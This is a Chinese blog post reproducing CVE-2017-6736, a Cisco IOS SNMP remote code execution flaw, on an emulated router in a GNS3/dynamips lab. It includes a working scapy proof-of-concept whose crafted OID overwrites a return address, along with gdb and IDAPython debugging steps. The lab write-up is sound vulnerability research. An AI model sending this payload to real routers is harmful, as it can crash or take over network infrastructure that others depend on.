BruceFan's Blog

Stay hungry, stay foolish

0%

复现思科IOS系统远程代码执行漏洞CVE-2017-6736

双机本地环境

环境:
台式机Ubuntu
笔记本Mac
模拟器GNS3
IOS镜像c7200-adventerprisek9-mz.151-4.M2.bin(mips 32bit big-endian)
台式机(192.168.1.3)和笔记本(192.168.1.8)在同一局域网中

实验采用台式机上GNS3本地模拟的方法:
1.先加载路由器镜像,创建路由器连接Cloud的拓扑结构,Configure Cloud的以太网接口为台式机的物理网卡,连接路由器的fa0/0接口到Cloud的以太网接口,启动路由器。
2.打开路由器的Console,配置fa0/0的ip为dhcp

1
2
3
4
5
6
R1#conf t
R1(config)#int fa0/0
R1(config-if)#ip address dhcp
R1(config-if)#no shutdown
R1(config-if)#end
R1#

dhcp会自动为路由器分配一个局域网ip地址

1
2
3
4
R1#show ip int brief
Interface IP-Address OK? Method Status Protocol
FastEthernet0/0 192.168.1.11 Yes DHCP up up
...

配置DNS服务器

1
2
3
4
5
R1#conf t
R1(config)#ip domain-lookup
R1(config)#ip name-server 8.8.8.8
R1(config)#end
R1#

配置完DNS就可以ping通外网了,下面启动路由器的snmp服务

1
2
3
4
5
6
7
Router#conf t
Router(config)#snmp-server community public RO
Router(config)#exit
Router#write memory
Building configuration...
[OK]
Router#

3.配置完路由器可以从笔记本ping通路由器,但是主机本身ping不通路由器,因此在笔记本上运行poc向路由器直接发送SNMP数据包

1
$ sudo python test-poc.py 192.168.1.11

发送数据包之后,路由器的console没有反应了,笔记本也ping不通路由器了,因此判断路由器已经崩溃。poc脚本如下:

1
2
3
4
5
6
7
8
9
10
from scapy.all import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("host", type=str, help="host IP")
args = parser.parse_args()

alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.48.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.128.0.240.164.49' # return address set to be 0x8000f0a4

send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community='public',PDU=SNMPget(varbindlist=[SNMPvarbind(oid=alps_oid)])))

这个数据包由三部分组成,前14个字节为OID=’1.3.6.1.4.1.9.9.95.1.3.1.1.7’,这个OID代表alpsCktBaseNumActiveAscus,只读权限,可以返回当前配置状态下可连接ALPS电路的ASCU数量。OID后面的48表示后面数据的字节数减1。经过测试,45-46的位置是覆盖的返回地址。

单机虚拟机环境

环境:
Mac笔记本
VMware
GNS3 VM

实验采用虚拟机中模拟思科路由器,主机发送数据包给模拟路由器的方式:
1.虚拟机中也是采用dynamips对思科路由器进行模拟,因此可以省略GNS3的图形界面,直接操作虚拟机里的dynamips

1
$ sudo ./dynamips -T 2000 -P 7200 -X -p 0:C7200-IO-FE -p 1:PA-4T+ -s slot:f0/0:gen_eth:eth0 c7200-adventerprisek9-mz.151-4.M2.bin --idle-pc=0x60608040
  • -T 是路由器的console端口,可以从主机上telnet虚拟机地址加这个端口到路由器console
  • -P 是硬件平台
  • -X 是不使用文件模拟RAM(更快)
  • -p 是定一个Port Adapter,和图形界面里的slot设置等价
  • -s 是绑定一个网络IO接口到Port Adapter,把路由器的以太网接口连接到虚拟机网卡上
  • 最后是镜像,第一次启动时会设置路由器,设置IP时,地址为虚拟机IP所在的子网段。

2.启动完成后可以从主机和虚拟机telnet 虚拟机IP 2000,连接到路由器console。可以从主机ping 路由器IP,所以可以从主机运行poc发送SNMP数据包给路由器。

单机虚拟机环境调试思科IOS

环境和前一节相同。
1.下载编译添加了gdbserver的dynamips版本

1
2
3
4
$ sudo apt install libelf-dev libpcap0.8-dev uuid-dev
$ git clone https://github.com/fanrong1992/dynamips-gdbserver.git
$ cd dynamips-gdbserver
$ DYNAMIPS_ARCH=amd64 make

编译产生的dynamips比原版dynamips多了一个-Z选项,启动时设置这个选项可以远程IDA或gdb连接调试端口。
2.修改版的dynamips用的镜像文件是解压缩的,把前面用到的c7200-adventerprisek9-mz.151-4.M2.bin后缀改为.zip,unzip解压可以得到一个C7200-AD.BIN文件,用dynamips加载到调试端口

1
$ sudo ./dynamips -Z 1234 -P 7200 -T 4000 -j -s slot:f0/0:gen_eth:eth0 C7200-AD.BIN

3.用IDA或gdb连接虚拟机IP+1234调试端口即可远程调试,gdb不能使用Ubuntu自带的,需要自己下载gdb,重新编一个用于mips的版本

1
2
3
4
5
$ wget https://ftp.gnu.org/gnu/gdb/gdb-8.1.tar.gz
$ tar zxvf gdb-8.1.tar.gz
$ cd gdb-8.1
$ ./configure --target=mips
$ make

编译出的gdb可以远程连接到mips平台的调试接口

1
2
$ ./gdb -q
(gdb) target remote IP:Port

根据漏洞描述可知,该漏洞是一个缓冲区溢出漏洞,想要找到溢出点有几种思路
1.写45个字节覆盖返回地址高两字节,使程序崩溃,查看返回地址低两字节。写IDAPython脚本,从程序中找出所有低两字节与崩溃地址低两字节相同的指令,如果指令的前两条指令是jal,则有可能是崩溃点的上层函数,在所有满足条件的jal指令处下断点,运行poc看看能否断住。实验中崩溃地址是0x8000f568,IDAPython脚本这样写:

1
2
3
4
5
6
7
8
9
10
import idc
fd=open('/Users/fan/breaks.gdb', 'w')
for i in range(0x48d):
ea = 0x8000f560+0x10000*i
if 'jal' in idc.GetDisasm(ea):
fd.write('break *'+hex(ea)+'\n')
if 'jal' in idc.GetDisasm(ea+4):
fd.write('break *'+hex(ea+4)+'\n')

fd.close()

因为程序的代码段是从0x80008000到0x848da684所以循环是从0x8000f560到0x848df560,找到jal指令直接写到gdb脚本里,方便下断点。经过实验发现这些断点在运行poc之后都断不住。
2.程序崩溃的时候在栈上找上层函数的返回地址,找了好几个,发现他们的栈帧操作和实际崩溃栈中的结构不符,也没有找到。
3.最后是通过修改虚拟机,在函数调用时将返回地址存入自定义的一个栈结构中,在函数返回时判断返回地址与自定义栈栈顶的值是否相同,如果相同则弹出栈顶数据跳转到返回地址,不相同说明有栈溢出发生,打印栈上的值即为原来的返回地址。
打印结果为0x80fbf568,因此栈帧被破坏的函数为0x80fbf110,在这个函数下断点,运行poc可以看到在子函数0x80fb85e8调用后栈帧就被破坏了。被破坏栈帧的函数的上层函数开辟了0x256大小的栈帧,因此从栈上找需要找很多,有一个想法就是写一个脚本,把所有有可能为返回地址的值取出,挑选出其中前两条指令为jal的指令,jal的函数即为上层函数,查看它开辟的栈帧大小和它距离崩溃栈顶的距离是否符合,找出符合的下断点调试。

reference
https://www.anquanke.com/post/id/98225
https://github.com/artkond/cisco-snmp-rce
https://github.com/Groundworkstech/dynamips-gdb-mod
https://www.cvedetails.com/cve/CVE-2017-6736/